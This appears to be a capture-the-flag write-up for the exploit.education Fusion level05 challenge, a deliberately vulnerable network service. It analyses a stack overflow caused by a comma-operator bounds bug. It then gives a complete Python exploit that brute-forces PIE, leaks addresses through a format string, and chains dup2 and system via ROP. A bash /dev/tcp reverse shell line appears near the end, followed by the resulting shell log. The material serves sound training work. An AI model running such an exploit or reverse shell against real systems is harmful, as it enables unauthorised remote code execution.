- playing around with the fusion VM from exploit.education has been fun , I was too lazy to write writeups for exercices from 0 to 4 , but here we are , bypassing fully protected binaries !
| Option | Setting |
|---|---|
| Vulnerability Type | Stack |
| Position Independent Executable | Yes |
| Read only relocations | No |
| Non-Executable stack | Yes |
| Non-Executable heap | Yes |
| Address Space Layout Randomisation | Yes |
| Source Fortification | Yes |
Source Code Analysis
the code of the challenge is this :
#include "../common/common.c"
#include <task.h>
#define STACK (4096 * 8)
unsigned int hash(unsigned char *str, int length, unsigned int mask)
{
unsigned int h = 0xfee13117;
int i;
for(h = 0xfee13117, i = 0; i < length; i++) {
h ^= str[i];
h += (h << 11);
h ^= (h >> 7);
h -= str[i];
}
h += (h << 3);
h ^= (h >> 10);
h += (h << 15);
h -= (h >> 17);
return (h & mask);
}
void fdprintf(int fd, char *fmt, ...)
{
va_list ap;
char *msg = NULL;
va_start(ap, fmt);
vasprintf(&msg, fmt, ap);
va_end(ap);
if(msg) {
fdwrite(fd, msg, strlen(msg));
free(msg);
}
}
struct registrations {
short int flags;
in_addr_t ipv4;
} __attribute__((packed));
#define REGDB (128)
struct registrations registrations[REGDB];
static void addreg(void *arg)
{
char *name, *sflags, *ipv4, *p;
int h, flags;
char *line = (char *)(arg);
name = line;
p = strchr(line, ' ');
if(! p) goto bail;
*p++ = 0;
sflags = p;
p = strchr(p, ' ');
if(! p) goto bail;
*p++ = 0;
ipv4 = p;
flags = atoi(sflags);
if(flags & ~0xe0) goto bail;
h = hash(name, strlen(name), REGDB-1);
registrations[h].flags = flags;
registrations[h].ipv4 = inet_addr(ipv4);
printf("registration added successfully\n");
bail:
free(line);
}
static void senddb(void *arg)
{
unsigned char buffer[512], *p;
char *host, *l;
char *line = (char *)(arg);
int port;
int fd;
int i;
int sz;
p = buffer;
sz = sizeof(buffer);
host = line;
l = strchr(line, ' ');
if(! l) goto bail;
*l++ = 0;
port = atoi(l);
if(port == 0) goto bail;
printf("sending db\n");
if((fd = netdial(UDP, host, port)) < 0) goto bail;
for(sz = 0, p = buffer, i = 0; i < REGDB; i++) {
if(registrations[i].flags | registrations[i].ipv4) {
memcpy(p, ®istrations[i], sizeof(struct registrations));
p += sizeof(struct registrations);
sz += sizeof(struct registrations);
}
}
bail:
fdwrite(fd, buffer, sz);
close(fd);
free(line);
}
int get_and_hash(int maxsz, char *string, char separator)
{
char name[32];
int i;
if(maxsz > 32) return 0;
for(i = 0; i < maxsz, string[i]; i++) {
if(string[i] == separator) break;
name[i] = string[i];
}
return hash(name, strlen(name), 0x7f);
}
struct isuparg {
int fd;
char *string;
};
static void checkname(void *arg)
{
struct isuparg *isa = (struct isuparg *)(arg);
int h;
h = get_and_hash(32, isa->string, '@');
fdprintf(isa->fd, "%s is %sindexed already\n", isa->string, registrations[h].ipv4 ? "" : "not ");
}
static void isup(void *arg)
{
unsigned char buffer[512], *p;
char *host, *l;
struct isuparg *isa = (struct isuparg *)(arg);
int port;
int fd;
int i;
int sz;
// skip over first arg, get port
l = strchr(isa->string, ' ');
if(! l) return;
*l++ = 0;
port = atoi(l);
host = malloc(64);
for(i = 0; i < 128; i++) {
p = (unsigned char *)(& registrations[i]);
if(! registrations[i].ipv4) continue;
sprintf(host, "%d.%d.%d.%d",
(registrations[i].ipv4 >> 0) & 0xff,
(registrations[i].ipv4 >> 8) & 0xff,
(registrations[i].ipv4 >> 16) & 0xff,
(registrations[i].ipv4 >> 24) & 0xff);
if((fd = netdial(UDP, host, port)) < 0) {
continue;
}
buffer[0] = 0xc0;
memcpy(buffer + 1, p, sizeof(struct registrations));
buffer[5] = buffer[6] = buffer[7] = 0;
fdwrite(fd, buffer, 8);
close(fd);
}
free(host);
}
static void childtask(void *arg)
{
int cfd = (int)(arg);
char buffer[512], *n;
int r;
n = "** welcome to level05 **\n";
if(fdwrite(cfd, n, strlen(n)) < 0) goto bail;
while(1) {
if((r = fdread(cfd, buffer, 512)) <= 0) goto bail;
n = strchr(buffer, '\r');
if(n) *n = 0;
n = strchr(buffer, '\n');
if(n) *n = 0;
if(strncmp(buffer, "addreg ", 7) == 0) {
taskcreate(addreg, strdup(buffer + 7), STACK);
continue;
}
if(strncmp(buffer, "senddb ", 7) == 0) {
taskcreate(senddb, strdup(buffer + 7), STACK);
continue;
}
if(strncmp(buffer, "checkname ", 10) == 0) {
struct isuparg *isa = calloc(sizeof(struct isuparg), 1);
isa->fd = cfd;
isa->string = strdup(buffer + 10);
taskcreate(checkname, isa, STACK);
continue;
}
if(strncmp(buffer, "quit", 4) == 0) {
break;
}
if(strncmp(buffer, "isup ", 5) == 0) {
struct isuparg *isa = calloc(sizeof(struct isuparg), 1);
isa->fd = cfd;
isa->string = strdup(buffer + 5);
taskcreate(isup, isa, STACK);
}
}
bail:
close(cfd);
}
void taskmain(int argc, char **argv)
{
int fd, cfd;
char remote[16];
int rport;
signal(SIGPIPE, SIG_IGN);
background_process(NAME, UID, GID);
if((fd = netannounce(TCP, 0, PORT)) < 0) {
fprintf(stderr, "failure on port %d: %s\n", PORT, strerror(errno));
taskexitall(1);
}
fdnoblock(fd);
while((cfd = netaccept(fd, remote, &rport)) >= 0) {
fprintf(stderr, "accepted connection from %s:%d\n", remote, rport);
taskcreate(childtask, (void *)(cfd), STACK);
}
}
- we have here a program that let's you insert 'registrations' to the data base and view them etc... , here's more details :
- the main function sets up its usual stuff , the most notable thing is that from each new client , a connection is created and with it a new File descriptor is made , and then a 'task' created for that specific client .
- a task is a form of asynchronous computing , you pass to it a functions pointer , its argument and stack size and it is executed in the program's memory but is executed separately , meaning it is not like the previous challenges where a fork is created for each client , a major catch of this is that if the task does something like illegal memory access , the whole program will crash not just the task, this will be important later .
- now the task that is created for each client is called
childtaskand it simply provides five commands :- addreg : you pass to it a host name and an ip and it maps them to a slot in the
registrationsarray using thehashfunctions as a kind of hash map . - senddb : you give it an ip and a port and it simply sends you the database wich is the contents of the
registrationsarray. - checkname : checks if a hostname is already present in the database , and it uses a functions called
get_and_hashfor that, hint : here is our main vuln. - quit : simply exits
- isup : sends the database to every ip in the database in the specifies port , there is a stack buffer overflow here , if the database is full , its size will be 6*128=768 bytes and it is written to buff wich is only 512 bytes long , but I did not use this .
- addreg : you pass to it a host name and an ip and it maps them to a slot in the
The Vulnerability
- our interest is in the
get_and_hashfunctions :
int get_and_hash(int maxsz, char *string, char separator)
{
char name[32];
int i;
if(maxsz > 32) return 0;
for(i = 0; i < maxsz, string[i]; i++) {
if(string[i] == separator) break;
name[i] = string[i];
}
return hash(name, strlen(name), 0x7f);
}
- the functions seems like it checks for bound , but the condition
i < maxsz, string[i]always returns true as long as string is not null , it is treated as one block of code , the confusion here is that the,must have been a&&for it to be secure , since then both conditions would be evaluated separately , honestly it took me loong to notice this . - giving it data generated by cyclic and examining it in gdb gives us a nice eip overwrite with offset 44:
$ nc localhost 20005
** welcome to level05 **
checkname aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
pwndbg> c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
>>> from pwn import *
>>> cyclic(50)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama'
>>> cyclic_find(0x6161616c)
44
Exploiting strategy
- now we have the overwrite , we need a leak.
- the disassembly of
checkname, show us :
0x000027c0 <+0>: sub esp,0x1c
0x000027c3 <+3>: mov DWORD PTR [esp+0x14],esi
0x000027c7 <+7>: mov esi,DWORD PTR [esp+0x20]
0x000027cb <+11>: mov DWORD PTR [esp+0x10],ebx
0x000027cf <+15>: call 0x1c67 <__i686.get_pc_thunk.bx>
0x000027d4 <+20>: add ebx,0x3948
0x000027da <+26>: mov DWORD PTR [esp+0x18],edi
0x000027de <+30>: mov edi,DWORD PTR [esi+0x4]
0x000027e1 <+33>: mov DWORD PTR [esp+0x8],0x40
0x000027e9 <+41>: mov DWORD PTR [esp],0x20
0x000027f0 <+48>: mov DWORD PTR [esp+0x4],edi
0x000027f4 <+52>: call 0x2720 <get_and_hash>
0x000027f9 <+57>: mov ecx,DWORD PTR [ebx-0x14]
0x000027ff <+63>: lea edx,[eax+eax*2]
0x00002802 <+66>: lea edx,[ecx+edx*2]
0x00002805 <+69>: mov edx,DWORD PTR [edx+0x2]
0x00002808 <+72>: lea eax,[ebx-0x1897]
0x0000280e <+78>: mov DWORD PTR [esp+0x8],edi
0x00002812 <+82>: test edx,edx
0x00002814 <+84>: lea edx,[ebx-0x1823]
0x0000281a <+90>: cmove eax,edx
0x0000281d <+93>: mov DWORD PTR [esp+0xc],eax
0x00002821 <+97>: lea eax,[ebx-0x181e]
0x00002827 <+103>: mov DWORD PTR [esp+0x4],eax
0x0000282b <+107>: mov eax,DWORD PTR [esi]
0x0000282d <+109>: mov DWORD PTR [esp],eax
0x00002830 <+112>: call 0x26a0 <fdprintf>
0x00002835 <+117>: mov ebx,DWORD PTR [esp+0x10]
0x00002839 <+121>: mov esi,DWORD PTR [esp+0x14]
0x0000283d <+125>: mov edi,DWORD PTR [esp+0x18]
0x00002841 <+129>: add esp,0x1c
0x00002844 <+132>: ret
- we control where
get_and_hashreturns , so my idea is return into the line :call 0x26a0 <fdprintf>, thenfdprintfwill be called with the arguments ofget_and_hash, which are : get_and_hash(0x20,arg(user controlled sting),separator) , - so we need our connection to have a file descriptor equal to 0x20=32 , this is convenient since we can just spam connections , and since each new thread will take the lowest possible free fd , all we have to do is open 29 client threads (the three first fds are reserved for
stdinstdoutandstderror) , and the 29 = 32-3 will have the exact fd of 32 . - then we will supply the string we control with a format
%p%p%p%p%p%p%p...and see what we get from that - now you might be asking ,how the hell I am gonna know the address of the line that calls
fdprintfwith PIE enabled ? I don't . I will do a partial overwrite , thank god for little endian ! , i don't need to touch the highest two bytes since I can jump anywhere in the text section by overwriting the lowest two bytes .PIE randomization is page-aligned , meaning the lowest three nibles (half bytes) of the address are the same across all runs , we have only the fourth nibble that's unknown , but it can only shift between 16 values (0 to 0xf) , and even with the slow rate that the VM revives the process , this is bruteforce-able ! , an interesting point is that values 2 to 7 repeat a lot so i only cycle through them as PIE also changes across runs . (and thus barely bypassing PIE) - doing this gets us two nice libc and .text addresses in the leak
b'\**\n0x400x5784a6ec0x20x57839de00x5784a80c0x565e6396aaaa'
b'0x57839de00x565eb5a0(nil)(nil)(nil)(nil)0x565e63800xf7d2aa8bbbb'
0xf7d2aa8b
-
the address righ before
aaaais always of a fixed memroy across runs and thus always withing a specific offset of the base address -
the address right before
bbbbis also always the address of the functionmakecontextplus 75 bytes , and so I can also dynamically calculate libc address from it (even with different versions of libc , using ELF processing inpwntoolsi can get the offset ofmakecontextdynamically and add 75 ; as long as the functions itself is the same we'll be just fine) -
so now we have the addresses of libc and the program base ! ,but we are not finished yet , simply making a rop chain of
system+ /bin/sh address , because system's default IO is done with the default file descriptorsstdin,stdoutandstderror;0 ,1 and 2 respectively . meanwhile our program only communicates using its socket with fd of 4 (after all the other earlier instances are closed) -
so what I did is chain a call of
dup2which duplicates and fd to another , meaning if I dup2(4,0) , I can effectively give input to system , and from them spawn a reverse shell with full IO . -
setting the arguments
dup2in the chain is not an option , since i cannot put nulls ,and the binary representation of the numbers 4 and 0 is full of them , so I filled the stack ofretgadgets until I reached a place in the stack that's full of0x0000000all over and then after theretchain i did this :
dup2addr+childtaskaddr+0x04 -
this calls dup2 , sets
childtaskas the return address so after doing our thing we can do another ROP to call system , the tric here is that since the stack is full of nulls , overwriting a null address's lowest byte with 4 makes its value 0x00000004 (4!) and after that there is null pointer (value of 0) and there you got arguments perfectly aranged . -
after the return to
childtaskwe can do the overflow again, we can simply do a system+someretaddress+binshaddress, give it a reverse shell command ; and we're golden.
The Exploit
here is the exploit with some maybe useful comments:
#!/usr/bin/python3
from pwn import *
context.log_level='critical'
my_local_ip = '192.168.192.163'
machine_ip = '192.168.192.65'
machine_ip = 'localhost'
level_port = 20005
port = 30334 # this port is used for the reverse shell
#setting the listening
serversocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
serversocket.bind(('', port))
# libcelf = ELF('./libc.so.6') this is the one I downloaded from the vm
libcelf = ELF('/usr/lib32/libc.so.6') #for local testing
level5elf = ELF('./level05')
libc_leak_offset = libcelf.symbols['makecontext'] + 75
fdprint_gad =0x0 #preparing it for assignement later
#pads for the overflow
def pad_bytes(buff,lenght,character):
return buff+(lenght-len(buff))*character[0].encode()
''' loops over most possible values the fourth nibble of the PIE address \
if it is right it directs the program to childtask so it doesn't crash (the value changes each crash cause crashing a task crashed the entire process'''
def oracle(machine_ip,level_port,oracle_str):
while True :
for i in range(0x1,0x5):
while True:
#check if the process has been revived yet if not wait one sec
try :
p = remote(machine_ip,level_port)
resp = p.recv(timeout=4).decode()
p.close()
if oracle_str in resp:
break
continue
except:
sleep(1)
continue
#after the process is revived , try the jump to return so we can return to childtask and then quit , keeping the process intact
addre = i*16**3 + 0x830
print('trying : ',hex(addre))
p = remote(machine_ip,level_port)
p.send(b'checkname '+pad_bytes(b'',44,'a')+p16(addre+5))
sleep(0.5)
p.send(b'quit')
p.close()
#if it works , connecting to the process should send us the welcome str (oracle_str)
try :
p = remote(machine_ip,level_port)
strrecvd = p.recv(timeout=5).decode()
if oracle_str in strrecvd :
print('FOUND PIE LOWER HALF BYTE : ',hex(i))
p.close()
return i*16**3
except:
p.close()
continue
#if not try next value
#getting the byte
byte = oracle(machine_ip,level_port,'level')
#updating the gadget address
fdprint_gad = byte+0x830
def leak():
#collect connections to close them later
connections=[]
for i in range(0,29):
# only on the 29th one
if i == 28 :
try:
#doing the overflow and jump to fdprint with the right arguments
p = remote(machine_ip,level_port)
connections.append(p)
p.send(b'checkname '+pad_bytes(b'%p%p%p%p%p%paaaa%p%p%p%p%p%p%p%p',44,'b')+p16(fdprint_gad))
leak = p.recvuntil(b'aaaa')
leak2 = p.recvuntil(b'bbbb')
#process the leaks
print(hex(int(leak2[-13:-3].decode(),16)))
libcaddr = int(leak2[-13:-3].decode(),16)-libc_leak_offset#252555#+1248
baseleak=leak[-14:-4].decode()
base = int(baseleak,16) - 17302
continue
except:
continue
# if not 29th process , open a connection , add it the the collection for closing and let it hang now (to keep the file descriptors up)
p = remote(machine_ip,level_port)
connections.append(p)
# at the end close all connections, so the next fd will be 4 (for the dup2)
for con in connections:
con.close()
return libcaddr,base
for i in range(3):
try :
libcaddr,base = leak()
except:
continue
if libcaddr == None :
exit()
print('BASE ADDRESS LEAKED :',hex(base))
print('LIBC ADDRESS LEAKED :',hex(libcaddr))
#update addresses and get offsets
libcelf.address = libcaddr
level5elf.address = base
binsh_libc_addr = next(libcelf.search(b"/bin/sh\x00"))
system_libc_addr = libcelf.symbols['system']
dup2_libc_addr = libcelf.symbols['dup2']
child_task_addr = level5elf.symbols['childtask']
ret_gadget = child_task_addr + 545
pop2ret_gadget = child_task_addr + 513
#the two rop chains
p = remote(machine_ip,level_port)
p.recv()
p.send(b'checkname '+pad_bytes(b'%p%p%p%p%p%p',44,'a')+17*p32(ret_gadget)+p32(dup2_libc_addr)+p32(child_task_addr)+p8(0x4))
p.send(b'checkname '+pad_bytes(b'%p%p%p%p%p%p',44,'a')+p32(system_libc_addr)+p32(child_task_addr)+p32(binsh_libc_addr))
#no idea why it does not work without the sleeps
sleep(0.5)
p.send(b'ls\n')
sleep(0.5)
#reverse shell on port 1666
processarr = ['nc', "-lp" ,'1666']
reverse_shell = b'bash -i >& /dev/tcp/'+my_local_ip.encode()+b'/1666'+b' <&1\n'
shell = process(processarr)
p.sendline(reverse_shell)
shell.interactive()
Running the Exploit
$ ./exploit_level05.py
trying : 0x1830
FOUND PIE LOWER HALF BYTE : 0x1
0xf7cd1a8b
0xf7cd1a8b
0xf7cd1a8b
BASE ADDRESS LEAKED : 0x5659f000
LIBC ADDRESS LEAKED : 0xf7c94000
bash: cannot set terminal process group (10642): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
\x1b]0;root@root:/\x07[I have no name!@root /]$ $ whoami
whoami
whoami: cannot find name for user ID 20005
\x1b]0;root@root:/\x07[I have no name!@root /]$ $